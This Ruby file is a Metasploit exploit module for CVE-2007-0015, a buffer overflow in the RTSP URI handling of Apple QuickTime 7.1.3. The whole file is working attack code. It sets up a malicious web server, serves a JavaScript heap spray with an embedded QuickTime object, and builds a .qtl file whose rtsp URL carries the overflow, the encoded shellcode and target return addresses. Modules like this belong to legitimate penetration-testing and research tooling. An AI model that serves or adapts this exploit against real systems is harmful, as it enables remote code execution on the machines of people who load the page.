##
# $Id: apple_quicktime_rtsp.rb 9220 2010-05-04 23:09:32Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking, # reliable memory corruption
:vuln_test => nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Apple QuickTime
7.1.3. This module was inspired by MOAB-01-01-2007. The
Browser target for this module was tested against IE 6 and
Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
QuickTime plugin.
},
'Author' => [ 'MC', 'egypt' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9220 $',
'References' =>
[
[ 'CVE', '2007-0015' ],
[ 'OSVDB', '31023'],
[ 'BID', '21829' ],
[ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Apple QuickTime Player 7.1.3',
{
'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)
}
],
[ 'Browser Universal',
{
'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jan 1 2007',
'DefaultTarget' => 0))
end
def on_request_uri(client, request)
return if ((p = regenerate_payload(client)) == nil)
if (target.name =~ /Automatic/)
if (request['User-Agent'] =~ /QuickTime/i)
target = targets[1]
else
target = targets[2]
end
end
cruft = rand_text_alphanumeric(4)
# This is all basically filler on the browser target because we can't
# expect the SEH to be in a reliable place across multiple browsers.
# Heap spray ftw.
sploit = rand_text_english(307)
sploit << p.encoded + "\xeb\x06" + rand_text_english(2)
sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")
print_status("Trying target #{target.name}...")
content = build_qtl(sploit)
else
print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")
shellcode = Rex::Text.to_unescape(p.encoded)
url = ((datastore['SSL']) ? "https://" : "http://")
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
url << ":" + datastore['SRVPORT']
url << get_resource
js = <<-ENDJS
#{js_heap_spray}
sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
ENDJS
content = "<html><body><script><!--\n#{js}//--></script>"
content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC" VALUE = "#{url}/#{cruft}.qtl">
<PARAM name="QTSRC" VALUE = "#{url}/#{cruft}.qtl">
<PARAM name="AUTOPLAY" VALUE = "true" >
<PARAM name="TYPE" VALUE = "video/quicktime" >
<PARAM name="TARGET" VALUE = "myself" >
<EMBED
SRC = "#{url}/#{cruft}.qtl"
QTSRC = "#{url}/#{cruft}.qtl"
TARGET = "myself"
WIDTH = "1"
HEIGHT = "1"
AUTOPLAY = "true"
PLUGIN = "quicktimeplugin"
TYPE = "video/quicktime"
CACHE = "false"
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
ENDEMBED
content << "</body></html>"
end
send_response(client, content, { 'Content-Type' => "text/html" })
# Handle the payload
handler(client)
end
def build_qtl(overflow)
cruft = rand_text_english(4)
content = "<?xml version=\"1.0\"?>\n"
content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"
content << "<embed autoplay=\"true\" \n"
content << "moviename=\"#{cruft}\" \n"
content << "qtnext=\"#{cruft}\" \n"
content << "type=\"video/quicktime\" \n"
content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"
end
end
